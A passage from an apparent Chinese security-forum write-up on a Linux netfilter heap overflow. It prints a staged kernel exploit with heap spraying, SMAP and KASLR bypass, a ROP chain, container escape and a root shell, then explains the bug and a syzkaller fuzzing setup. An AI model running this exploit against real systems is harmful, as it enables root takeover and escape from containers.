goto err\_rmid;
}
printf("\[\*\] Spraying secondary messages...\\n");
for (int i = 0; i < NUM\_MSQIDS; i++) {
memset(&msg\_secondary, 0, sizeof(msg\_secondary));
\*(int \*)&msg\_secondary.mtext\[0\] = MSG\_TAG;
\*(int \*)&msg\_secondary.mtext\[4\] = i;
if (write\_msg(msqid\[i\], &msg\_secondary, sizeof(msg\_secondary),
MTYPE\_SECONDARY) < 0)
goto err\_rmid;
}
printf("\[\*\] Creating holes in primary messages...\\n");
for (int i = HOLE\_STEP; i < NUM\_MSQIDS; i += HOLE\_STEP) {
if (read\_msg(msqid\[i\], &msg\_primary, sizeof(msg\_primary), MTYPE\_PRIMARY) <
0)
goto err\_rmid;
}
printf("\[\*\] Triggering out-of-bounds write...\\n");
if (trigger\_oob\_write(s) < 0)
goto err\_rmid;
printf("\[\*\] Searching for corrupted primary message...\\n");
for (int i = 0; i < NUM\_MSQIDS; i++) {
if (i != 0 && (i % HOLE\_STEP) == 0)
continue;
if (peek\_msg(msqid\[i\], &msg\_secondary, sizeof(msg\_secondary), 1) < 0)
goto err\_no\_rmid;
if (\*(int \*)&msg\_secondary.mtext\[0\] != MSG\_TAG) {
printf("\[-\] Error could not corrupt any primary message.\\n");
goto err\_no\_rmid;
}
if (\*(int \*)&msg\_secondary.mtext\[4\] != i) {
fake\_idx = i;
real\_idx = \*(int \*)&msg\_secondary.mtext\[4\];
break;
}
}
if (fake\_idx == -1 && real\_idx == -1) {
printf("\[-\] Error could not corrupt any primary message.\\n");
goto err\_no\_rmid;
}
// fake\_idx's primary message has a corrupted next pointer; wrongly
// pointing to real\_idx's secondary message.
printf("\[+\] fake\_idx: %x\\n", fake\_idx);
printf("\[+\] real\_idx: %x\\n", real\_idx);
printf("\\n");
printf("\[+\] STAGE 2: SMAP bypass\\n");
printf("\[\*\] Freeing real secondary message...\\n");
if (read\_msg(msqid\[real\_idx\], &msg\_secondary, sizeof(msg\_secondary),
MTYPE\_SECONDARY) < 0)
goto err\_rmid;
// Reclaim the previously freed secondary message with a fake msg\_msg of
// maximum possible size.
printf("\[\*\] Spraying fake secondary messages...\\n");
memset(secondary\_buf, 0, sizeof(secondary\_buf));
build\_msg\_msg((void \*)secondary\_buf, 0x41414141, 0x42424242,
PAGE\_SIZE - MSG\_MSG\_SIZE, 0);
if (spray\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf)) < 0)
goto err\_rmid;
// Use the fake secondary message to read out-of-bounds.
printf("\[\*\] Leaking adjacent secondary message...\\n");
if (peek\_msg(msqid\[fake\_idx\], &msg\_fake, sizeof(msg\_fake), 1) < 0)
goto err\_rmid;
// Check if the leak is valid.
if (\*(int \*)&msg\_fake.mtext\[SECONDARY\_SIZE\] != MSG\_TAG) {
printf("\[-\] Error could not leak adjacent secondary message.\\n");
goto err\_rmid;
}
// The secondary message contains a pointer to the primary message.
msg = (struct msg\_msg \*)&msg\_fake.mtext\[SECONDARY\_SIZE - MSG\_MSG\_SIZE\];
kheap\_addr = msg->m\_list\_next;
if (kheap\_addr & (PRIMARY\_SIZE - 1))
kheap\_addr = msg->m\_list\_prev;
printf("\[+\] kheap\_addr: %" PRIx64 "\\n", kheap\_addr);
if ((kheap\_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
printf("\[-\] Error kernel heap address is incorrect.\\n");
goto err\_rmid;
}
printf("\[\*\] Freeing fake secondary messages...\\n");
free\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf));
// Put kheap\_addr at next to leak its content. Assumes zero bytes before
// kheap\_addr.
printf("\[\*\] Spraying fake secondary messages...\\n");
memset(secondary\_buf, 0, sizeof(secondary\_buf));
build\_msg\_msg((void \*)secondary\_buf, 0x41414141, 0x42424242,
sizeof(msg\_fake.mtext), kheap\_addr - MSG\_MSGSEG\_SIZE);
if (spray\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf)) < 0)
goto err\_rmid;
// Use the fake secondary message to read from kheap\_addr.
printf("\[\*\] Leaking primary message...\\n");
if (peek\_msg(msqid\[fake\_idx\], &msg\_fake, sizeof(msg\_fake), 1) < 0)
goto err\_rmid;
// Check if the leak is valid.
if (\*(int \*)&msg\_fake.mtext\[PAGE\_SIZE\] != MSG\_TAG) {
printf("\[-\] Error could not leak primary message.\\n");
goto err\_rmid;
}
// The primary message contains a pointer to the secondary message.
msg = (struct msg\_msg \*)&msg\_fake.mtext\[PAGE\_SIZE - MSG\_MSG\_SIZE\];
kheap\_addr = msg->m\_list\_next;
if (kheap\_addr & (SECONDARY\_SIZE - 1))
kheap\_addr = msg->m\_list\_prev;
// Calculate the address of the fake secondary message.
kheap\_addr -= SECONDARY\_SIZE;
printf("\[+\] kheap\_addr: %" PRIx64 "\\n", kheap\_addr);
if ((kheap\_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {
printf("\[-\] Error kernel heap address is incorrect.\\n");
goto err\_rmid;
}
printf("\\n");
printf("\[+\] STAGE 3: KASLR bypass\\n");
printf("\[\*\] Freeing fake secondary messages...\\n");
free\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf));
// Put kheap\_addr at m\_list\_next & m\_list\_prev so that list\_del() is possible.
printf("\[\*\] Spraying fake secondary messages...\\n");
memset(secondary\_buf, 0, sizeof(secondary\_buf));
build\_msg\_msg((void \*)secondary\_buf, kheap\_addr, kheap\_addr, 0, 0);
if (spray\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf)) < 0)
goto err\_rmid;
printf("\[\*\] Freeing sk\_buff data buffer...\\n");
if (read\_msg(msqid\[fake\_idx\], &msg\_fake, sizeof(msg\_fake), MTYPE\_FAKE) < 0)
goto err\_rmid;
printf("\[\*\] Spraying pipe\_buffer objects...\\n");
for (int i = 0; i < NUM\_PIPEFDS; i++) {
if (pipe(pipefd\[i\]) < 0) {
perror("\[-\] pipe");
goto err\_rmid;
}
// Write something to populate pipe\_buffer.
if (write(pipefd\[i\]\[1\], "pwn", 3) < 0) {
perror("\[-\] write");
goto err\_rmid;
}
}
printf("\[\*\] Leaking and freeing pipe\_buffer object...\\n");
for (int i = 0; i < NUM\_SOCKETS; i++) {
for (int j = 0; j < NUM\_SKBUFFS; j++) {
if (read(ss\[i\]\[1\], secondary\_buf, sizeof(secondary\_buf)) < 0) {
perror("\[-\] read");
goto err\_rmid;
}
if (\*(uint64\_t \*)&secondary\_buf\[0x10\] != MTYPE\_FAKE)
pipe\_buffer\_ops = \*(uint64\_t \*)&secondary\_buf\[0x10\];
}
}
kbase\_addr = pipe\_buffer\_ops - ANON\_PIPE\_BUF\_OPS;
printf("\[+\] anon\_pipe\_buf\_ops: %" PRIx64 "\\n", pipe\_buffer\_ops);
printf("\[+\] kbase\_addr: %" PRIx64 "\\n", kbase\_addr);
if ((kbase\_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {
printf("\[-\] Error kernel base address is incorrect.\\n");
goto err\_rmid;
}
printf("\\n");
printf("\[+\] STAGE 4: Kernel code execution\\n");
printf("\[\*\] Spraying fake pipe\_buffer objects...\\n");
memset(secondary\_buf, 0, sizeof(secondary\_buf));
buf = (struct pipe\_buffer \*)&secondary\_buf;
buf->ops = kheap\_addr + 0x290;
ops = (struct pipe\_buf\_operations \*)&secondary\_buf\[0x290\];
#ifdef KERNEL\_COS\_5\_4\_89
// RAX points to &buf->ops.
// RCX points to &buf.
ops->release = kbase\_addr + PUSH\_RAX\_JMP\_QWORD\_PTR\_RCX;
#elif KERNEL\_UBUNTU\_5\_8\_0\_48
// RSI points to &buf.
ops->release = kbase\_addr + PUSH\_RSI\_JMP\_QWORD\_PTR\_RSI\_39;
#endif
build\_krop(secondary\_buf, kbase\_addr, kheap\_addr + 0x2B0);
if (spray\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf)) < 0)
goto err\_rmid;
// Trigger pipe\_release().
printf("\[\*\] Releasing pipe\_buffer objects...\\n");
for (int i = 0; i < NUM\_PIPEFDS; i++) {
if (close(pipefd\[i\]\[0\]) < 0) {
perror("\[-\] close");
goto err\_rmid;
}
if (close(pipefd\[i\]\[1\]) < 0) {
perror("\[-\] close");
goto err\_rmid;
}
}
printf("\[\*\] Checking for root...\\n");
if ((fd = open("/etc/shadow", O\_RDONLY)) < 0) {
printf("\[-\] Error could not gain root privileges.\\n");
goto err\_rmid;
}
close(fd);
printf("\[+\] Root privileges gained.\\n");
printf("\\n");
printf("\[+\] STAGE 5: Post-exploitation\\n");
printf("\[\*\] Escaping container...\\n");
setns(open("/proc/1/ns/mnt", O\_RDONLY), 0);
setns(open("/proc/1/ns/pid", O\_RDONLY), 0);
setns(open("/proc/1/ns/net", O\_RDONLY), 0);
printf("\[\*\] Cleaning up...\\n");
for (int i = 0; i < NUM\_MSQIDS; i++) {
// TODO: Fix next pointer.
if (i == fake\_idx)
continue;
if (msgctl(msqid\[i\], IPC\_RMID, NULL) < 0)
perror("\[-\] msgctl");
}
for (int i = 0; i < NUM\_SOCKETS; i++) {
if (close(ss\[i\]\[0\]) < 0)
perror("\[-\] close");
if (close(ss\[i\]\[1\]) < 0)
perror("\[-\] close");
}
if (close(s) < 0)
perror("\[-\] close");
printf("\[\*\] Popping root shell...\\n");
char \*args\[\] = {"/bin/bash", "-i", NULL};
execve(args\[0\], args, NULL);
return 0;
err\_rmid:
for (int i = 0; i < NUM\_MSQIDS; i++) {
if (i == fake\_idx)
continue;
if (msgctl(msqid\[i\], IPC\_RMID, NULL) < 0)
perror("\[-\] msgctl");
}
err\_no\_rmid:
return 1;
}
编译命令如下:
gcc poc.c -m32 -o poc
#define NUM\_MSQIDS 4096
for (int i = 0; i < NUM\_MSQIDS; i++) {
if ((msqid\[i\] = msgget(IPC\_PRIVATE, IPC\_CREAT | 0666)) < 0) {
perror("\[-\] msgget");
goto err\_no\_rmid;
}
}
此处申请了4096个消息队列主要是为了堆喷的稳定和利用的稳定(后面会提),一般来说,堆喷的利用文章都会提到喷得越多,利用越稳定,可是很少提及为什么越多越稳定,此处我认为可以引用CTFwiki(https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/slub/uaf/#\_1)上的介绍内容,内核代码很有可能在不同CPU核心上运行,而slub算法(https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/heap\_overview/#slab-allocator)在不同核心上分配的内存也是不一样的,假设喷得不够多的情况下,exp在堆喷的时候用的是CPU0,而后面利用时却跑到了CPU1,就会导致利用失败。
int setup\_sandbox(void) {
if (unshare(CLONE\_NEWUSER) < 0) {
perror("\[-\] unshare(CLONE\_NEWUSER)");
return -1;
}
if (unshare(CLONE\_NEWNET) < 0) {
perror("\[-\] unshare(CLONE\_NEWNET)");
return -1;
}
cpu\_set\_t set;
CPU\_ZERO(&set);
CPU\_SET(0, &set);
if (sched\_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("\[-\] sched\_setaffinity");
return -1;
}
return 0;
}
printf("\[\*\] Setting up namespace sandbox...\\n");
if (setup\_sandbox() < 0)
goto err\_no\_rmid;
main函数开头的这一段也是为了将进程绑定到固定核心上,以提高堆喷稳定性。
接下来需要创建对应的主消息和辅助消息并向其中填充数据。
int write\_msg(int msqid, const void \*msgp, size\_t msgsz, long msgtyp) {
\*(long \*)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("\[-\] msgsnd");
return -1;
}
return 0;
}
printf("\[\*\] Spraying primary messages...\\n");
for (int i = 0; i < NUM\_MSQIDS; i++) {
memset(&msg\_primary, 0, sizeof(msg\_primary));
\*(int \*)&msg\_primary.mtext\[0\] = MSG\_TAG;
\*(int \*)&msg\_primary.mtext\[4\] = i;
if (write\_msg(msqid\[i\], &msg\_primary, sizeof(msg\_primary), MTYPE\_PRIMARY) < 0)
goto err\_rmid;
}
printf("\[\*\] Spraying secondary messages...\\n");
for (int i = 0; i < NUM\_MSQIDS; i++) {
memset(&msg\_secondary, 0, sizeof(msg\_secondary));
\*(int \*)&msg\_secondary.mtext\[0\] = MSG\_TAG;
\*(int \*)&msg\_secondary.mtext\[4\] = i;
if (write\_msg(msqid\[i\], &msg\_secondary, sizeof(msg\_secondary),
MTYPE\_SECONDARY) < 0)
goto err\_rmid;
}
mtext[0]=MSG_TAG用于标识某段区域的作用是否为堆喷
mtext[4]=i用于标识内存区id
此时的消息队列排列应该如下图所示:
int read\_msg(int msqid, void \*msgp, size\_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
perror("\[-\] msgrcv");
return -1;
}
return 0;
}
printf("\[\*\] Creating holes in primary messages...\\n");
for (int i = HOLE\_STEP; i < NUM\_MSQIDS; i += HOLE\_STEP) {
if (read\_msg(msqid\[i\], &msg\_primary, sizeof(msg\_primary), MTYPE\_PRIMARY) < 0)
goto err\_rmid;
}
紧接着是释放部分主消息,事实上只释放了三个主消息,1024、2048、3072。
int trigger\_oob\_write(int s) {
struct \_\_attribute\_\_((\_\_packed\_\_)) {
struct ipt\_replace replace;
struct ipt\_entry entry;
struct xt\_entry\_match match;
char pad\[0x108 + PRIMARY\_SIZE - 0x200 - 0x2\];
struct xt\_entry\_target target;
} data = {0};
data.replace.num\_counters = 1;
data.replace.num\_entries = 1;
data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.next\_offset = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.target\_offset =
(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));
data.match.u.user.match\_size = (sizeof(data.match) + sizeof(data.pad));
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;
data.target.u.user.target\_size = sizeof(data.target);
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;
// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(s, SOL\_IP, IPT\_SO\_SET\_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("\[-\] Error ip\_tables module is not loaded.\\n");
return -1;
}
}
return 0;
}
printf("\[\*\] Triggering out-of-bounds write...\\n");
if (trigger\_oob\_write(s) < 0)
goto err\_rmid;
调用setsockopt(IPT_SO_SET_REPLACE)会直接触发两字节溢出写0,之前连续申请了4096个消息队列也是为了能让消息队列所在的内存是连续的,其实最重要的是能让辅助消息队列所在的内存是连续的,因为触发的是两字节写0,也就是说主消息对应的辅助消息如果原本内存地址不为0的情况下,触发漏洞过后,会有两个主消息指向同一个辅助消息,也就是从上面的图变成了下图:
从漏洞原理以及触发条件来看,我认为这种状态并不需要特别注意,在调用setsockopt函数时,内核中确实是先创建了xt_table_info,然后在八字节对齐时产生两字节溢出,但是从用户态看来,调用完setsockopt函数后就直接发生了溢出;总之,这种中间状态存在时间非常短,可以忽略不计,但对理解漏洞形成流程还是有帮助的。
至此,我们已经触发了这个漏洞,根据之前所做的内容来看,触发漏洞更需要几个条件;首先需要将代码编译成32位程序,并且在64位系统上运行;其次需要编译x_tables和ip6_tables这两个内核模块,最后需要在调用setsockopt时加上一些特别的字段;32位系统调用setsockopt(IPT_SO_SET_REPLACE)函数最终会走到内核的 __compat_sys_setsockopt 函数中,这点也可以从之前kasan的输出信息中看到。
\[ 1185.206655\] \_\_compat\_sys\_setsockopt+0x139/0x330
\[ 1185.205993\] BUG: KASAN: slab-out-of-bounds in xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]
\[ 1185.206433\] compat\_do\_replace.isra.0+0x160/0x380 \[ip6\_tables\]
漏洞点实际是从compat_do_replace函数开始便存在了,并在xt_compat_target_from_user函数中被触发。
先看一下compat_do_replace函数代码。(https://elixir.bootlin.com/linux/v5.8.1/source/net/ipv6/netfilter/ip6\_tables.c#L1498)
static int
compat\_do\_replace(struct net \*net, void \_\_user \*user, unsigned int len)
{
int ret;
struct compat\_ip6t\_replace tmp;
struct xt\_table\_info \*newinfo;
void \*loc\_cpu\_entry;
struct ip6t\_entry \*iter;
if (copy\_from\_user(&tmp, user, sizeof(tmp)) != 0)
return -EFAULT;
/\* overflow check \*/
if (tmp.num\_counters >= INT\_MAX / sizeof(struct xt\_counters))
return -ENOMEM;
if (tmp.num\_counters == 0)
return -EINVAL;
tmp.name\[sizeof(tmp.name)-1\] = 0;
newinfo = xt\_alloc\_table\_info(tmp.size);
if (!newinfo)
return -ENOMEM;
loc\_cpu\_entry = newinfo->entries;
if (copy\_from\_user(loc\_cpu\_entry, user + sizeof(tmp),
tmp.size) != 0) {
ret = -EFAULT;
goto free\_newinfo;
}
ret = translate\_compat\_table(net, &newinfo, &loc\_cpu\_entry, &tmp);
if (ret != 0)
goto free\_newinfo;
ret = \_\_do\_replace(net, tmp.name, tmp.valid\_hooks, newinfo,
tmp.num\_counters, compat\_ptr(tmp.counters));
if (ret)
goto free\_newinfo\_untrans;
return 0;
free\_newinfo\_untrans:
xt\_entry\_foreach(iter, loc\_cpu\_entry, newinfo->size)
cleanup\_entry(iter, net);
free\_newinfo:
xt\_free\_table\_info(newinfo);
return ret;
}
从上面trigger_oob_write函数中的漏洞触发代码来看,struct compat_ip6t_replace tmp 对应着 struct ip6t_replace replace。
struct xt\_table\_info \*xt\_alloc\_table\_info(unsigned int size)
{
struct xt\_table\_info \*info = NULL;
size\_t sz = sizeof(\*info) + size;
if (sz < sizeof(\*info) || sz >= XT\_MAX\_TABLE\_SIZE)
return NULL;
info = kvmalloc(sz, GFP\_KERNEL\_ACCOUNT);
if (!info)
return NULL;
memset(info, 0, sizeof(\*info));
info->size = size;
return info;
}
EXPORT\_SYMBOL(xt\_alloc\_table\_info);
注意此处的kvmalloc,这与漏洞产生原因有关,后面会提到。
而newinfo则是xt_table_info头加如下一堆结构体。
struct ipt\_entry entry;
struct xt\_entry\_match match;
char pad\[0x108 + PRIMARY\_SIZE - 0x200 - 0x2\];
struct xt\_entry\_target target;
最后在调用translate_compat_table函数时给的&loc_cpu_entry指针则是指向xt_table_info结构体里的可变长度结构体entries。
/\* The table itself \*/
struct xt\_table\_info {
/\* Size per table \*/
unsigned int size;
/\* Number of entries: FIXME. --RR \*/
unsigned int number;
/\* Initial number of entries. Needed for module usage count \*/
unsigned int initial\_entries;
/\* Entry points and underflows \*/
unsigned int hook\_entry\[NF\_INET\_NUMHOOKS\];
unsigned int underflow\[NF\_INET\_NUMHOOKS\];
/\*
\* Number of user chains. Since tables cannot have loops, at most
\* @stacksize jumps (number of user chains) can possibly be made.
\*/
unsigned int stacksize;
void \*\*\*jumpstack;
unsigned char entries\[\] \_\_aligned(8);
};
static int
translate\_compat\_table(struct net \*net,
struct xt\_table\_info \*\*pinfo,
void \*\*pentry0,
const struct compat\_ip6t\_replace \*compatr)
{
unsigned int i, j;
struct xt\_table\_info \*newinfo, \*info;
void \*pos, \*entry0, \*entry1;
struct compat\_ip6t\_entry \*iter0;
struct ip6t\_replace repl;
unsigned int size;
int ret;
info = \*pinfo;
entry0 = \*pentry0;
size = compatr->size;
info->number = compatr->num\_entries;
j = 0;
xt\_compat\_lock(AF\_INET6);
ret = xt\_compat\_init\_offsets(AF\_INET6, compatr->num\_entries);
if (ret)
goto out\_unlock;
/\* Walk through entries, checking offsets. \*/
xt\_entry\_foreach(iter0, entry0, compatr->size) {
ret = check\_compat\_entry\_size\_and\_hooks(iter0, info, &size,
entry0,
entry0 + compatr->size);
if (ret != 0)
goto out\_unlock;
++j;
}
ret = -EINVAL;
if (j != compatr->num\_entries)
goto out\_unlock;
ret = -ENOMEM;
newinfo = xt\_alloc\_table\_info(size);
if (!newinfo)
goto out\_unlock;
newinfo->number = compatr->num\_entries;
for (i = 0; i < NF\_INET\_NUMHOOKS; i++) {
newinfo->hook\_entry\[i\] = compatr->hook\_entry\[i\];
newinfo->underflow\[i\] = compatr->underflow\[i\];
}
entry1 = newinfo->entries;
pos = entry1;
size = compatr->size;
xt\_entry\_foreach(iter0, entry0, compatr->size)
compat\_copy\_entry\_from\_user(iter0, &pos, &size,
newinfo, entry1);
/\* all module references in entry0 are now gone. \*/
xt\_compat\_flush\_offsets(AF\_INET6);
xt\_compat\_unlock(AF\_INET6);
memcpy(&repl, compatr, sizeof(\*compatr));
for (i = 0; i < NF\_INET\_NUMHOOKS; i++) {
repl.hook\_entry\[i\] = newinfo->hook\_entry\[i\];
repl.underflow\[i\] = newinfo->underflow\[i\];
}
repl.num\_counters = 0;
repl.counters = NULL;
repl.size = newinfo->size;
ret = translate\_table(net, newinfo, entry1, &repl);
if (ret)
goto free\_newinfo;
\*pinfo = newinfo;
\*pentry0 = entry1;
xt\_free\_table\_info(info);
return 0;
free\_newinfo:
xt\_free\_table\_info(newinfo);
return ret;
out\_unlock:
xt\_compat\_flush\_offsets(AF\_INET6);
xt\_compat\_unlock(AF\_INET6);
xt\_entry\_foreach(iter0, entry0, compatr->size) {
if (j-- == 0)
break;
compat\_release\_entry(iter0);
}
return ret;
}
简单的形容translate_compat_table函数的作用就是将32位的结构体传到entry0中,然后申请一个和entry0同样大小的entry1 64位结构体,然后将entry0赋值给entry1(注意,此时entry0中的内容不做修改,只是从32位转到了64位而已),到此为止KASAN的信息就不全了,此处的调用链+应该是 translate_compat_table -> compat_copy_entry_from_user -> xt_compat_target_from_user,中间的函数不怎么重要,主要就是参数传递的过程,重要的是xt_compat_target_from_user函数。
void xt\_compat\_target\_from\_user(struct xt\_entry\_target \*t, void \*\*dstptr,
unsigned int \*size)
{
const struct xt\_target \*target = t->u.kernel.target;
struct compat\_xt\_entry\_target \*ct = (struct compat\_xt\_entry\_target \*)t;
int pad, off = xt\_compat\_target\_offset(target);
u\_int16\_t tsize = ct->u.user.target\_size;
char name\[sizeof(t->u.user.name)\];
t = \*dstptr;
memcpy(t, ct, sizeof(\*ct));
if (target->compat\_from\_user)
target->compat\_from\_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(\*ct));
pad = XT\_ALIGN(target->targetsize) - target->targetsize;
if (pad > 0)
memset(t->data + target->targetsize, 0, pad);
tsize += off;
t->u.user.target\_size = tsize;
strlcpy(name, target->name, sizeof(name));
module\_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
\*size += off;
\*dstptr += tsize;
}
此处需要注意pad变量,在赋值时,代码作者想要进行8字节对齐,但是在上面xt_alloc_table_info函数在申请内存时,并没有进行8字节对齐,这意味着在memset置零的时候可能会将0写到下一个堆块中(溢出后产生的效果可以参考上面的图片)。
此时漏洞形成的大致原理就已经清楚了,在64位系统中执行32位的含有socket的代码(漏洞触发代码参考trigger_oob_write函数),所以要想通过syzkaller来检测到此漏洞,就需要使用64位的内核来运行32位的样本。
需要开启CPU虚拟化
8G内存(内存需要尽可能大)
40G硬盘(看网上说的,应该够用)
安装一些依赖包
apt-get install dwarves debootstrap make gcc flex bison libncurses-dev libelf-dev libssl-dev g++ git g++-multilib
根据GitHub(https://github.com/google/syzkaller/issues/760)上给出的错误修改提示和一些必须的配置修改.config文件。
\# Coverage collection.
CONFIG\_KCOV=y
\# Debug info for symbolization.
CONFIG\_DEBUG\_INFO\_DWARF4=y
\# Memory bug detector
CONFIG\_KASAN=y
CONFIG\_KASAN\_INLINE=y
\# Required for Debian Stretch and later
CONFIG\_CONFIGFS\_FS=y
CONFIG\_SECURITYFS=y
CONFIG\_CMDLINE\_BOOL=y
CONFIG\_CMDLINE="net.ifnames=0"
CONFIG\_BINFMT\_MISC=y
CONFIG\_FRAME\_WARN=4096
CONFIG\_SYSTEM\_TRUSTED\_KEYS=""
CONFIG\_E1000=y
CONFIG\_IP6\_NF\_IPTABLES=y
还有一些代码需要修改。将/include/linux/compiler.h头文件第392行注释掉,这个错误不知道为什么会被触发,我看了更新版本的内核,这行还是在的,可能是我机器的玄学问题。
//\_compiletime\_assert(condition, msg, \_\_compiletime\_assert\_, \_\_COUNTER\_\_)
修改/tools/objtool/elf.c中第356行的if判断,直接改为return 0,这个问题是根据GitHub(https://github.com/torvalds/linux/commit/1d489151e9f9d1647110277ff77282fe4d96d09b.patch)上的patch代码修改的,事实上新版本的内核也直接改为return 0了。
if (!symtab) {
//WARN("missing symbol table");
//return -1;
return 0;
}
以上需要修改的源码内容是在Ubuntu22.04上编译5.8.1内核的时候必要的修改,如果使用的是20.04则不需要对源码做修改,只需要修改.config文件就可以了。
然后需要修改一下syzkaller的源码内容。
此处需要找到qemu.go文件,将如下内容:
"linux/386": {
Qemu: "qemu-system-i386",
NetDev: "e1000",
RngDev: "virtio-rng-pci",
CmdLine: \[\]string{
"root=/dev/sda",
"console=ttyS0",
},
},
修改为:
"linux/386": {
Qemu: "qemu-system-x86\_64",
NetDev: "e1000",
RngDev: "virtio-rng-pci",
CmdLine: \[\]string{
"root=/dev/sda",
"console=ttyS0",
},
},
修改完成后需要重新编译syzkaller,编译完成后直接运行就好。
运行之前需要写一些syzkaller的配置文件,并下载镜像文件。
wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh
{
"target": "linux/386",
"http": "0.0.0.0:8080",
"workdir": "/root/image/ip6/",
"kernel\_obj": "/root/linux-5.8.1/",
"image": "/root/image/bullseye.img",
"sshkey": "/root/image/bullseye.id\_rsa",
"syzkaller": "/root/syzkaller",
"procs": 2,
"type": "qemu",
"vm": {
"count": 6,
"kernel": "/root/linux-5.8.1/arch/x86/boot/bzImage",
"cpu": 2,
"mem": 1024
}
}
这里target给的是386是因为之前修改了syzkaller源码,所以实际运行的是64位的系统,只不过syzkaller喂的是32位的样本。
下面的目录都是根据实际工作目录填写;count、cpu和mem参数,则分别代表虚拟机数、CPU数和内存大小,这些根据实际物理机配置需要尽可能大一些。
之后就可以使用syz-manager(https://github.com/google/syzkaller/blob/master/docs/usage.md#running)开始fuzz了,这里的config文件则是上面自己修改的config文件。
第一次使用syzkaller可能会有些疑惑,为什么运行一段时间后所有的虚拟机都停了,这是因为syzkaller每隔一段时间就需要验证跑出来的crash,并生成C代码。
总之fuzz时,耐心等待即可。
三
结尾
其实fuzz部分文章去年十一月就差不多完成了,但是因为工作变故,导致拖延了很久,总之最后能发出来就是好的,另外漏洞本身除了fuzz部分还有利用部分,所以此文章应该还有一篇,等有空了就给大家鸽出来吧。
看雪ID:pureGavin
https://bbs.kanxue.com/user-home-777502.htm
*本文为看雪论坛精华文章,由 pureGavin 原创,转载请注明来自看雪社区
# 往期推荐
2、恶意木马历险记
球分享
球点赞
球在看
点击阅读原文查看更多